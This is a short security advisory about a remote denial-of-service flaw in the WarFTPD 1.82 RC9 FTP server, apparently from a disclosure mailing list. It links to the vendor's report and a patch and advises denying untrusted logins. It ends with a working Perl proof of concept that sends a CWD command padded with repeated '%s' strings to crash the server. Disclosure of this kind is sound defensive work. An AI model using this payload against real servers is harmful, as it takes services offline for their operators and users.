WarFTPD 1.82 RC9 DoS

["MC.Iglo" <mc.iglo () gmx de>]

Hello,

due to an access violation, specialy crafted CWD-Commands will exit
the FTP server when running as a NT service.
User needs to be logged on.

Vendor's report can be found at
http://support.jgaa.com/index.php?cmd=ShowReport&ID=02643

Solution: deny anonymous or untrusted logins or use patched version.

Updated Version can be found at
http://support.jgaa.com/index.php?cmd=ShowProduct&ID=3


PoC Exploit

<snip>

#!/usr/bin/perl -w
# remote DoS PoC Exploit for WarFTPD 1.82 RC9
# THX 2 barabas 4 his GoldenFTP-sploit :)
# greetings fly out to Foobar

use strict;
use Net::FTP;
my $payload="%s"x115;

my $ftp = Net::FTP->new("127.0.0.1", Debug => 1);
$ftp->login("anonymous","123 () 123 com");
$ftp->quot("CWD",$payload);

</snip>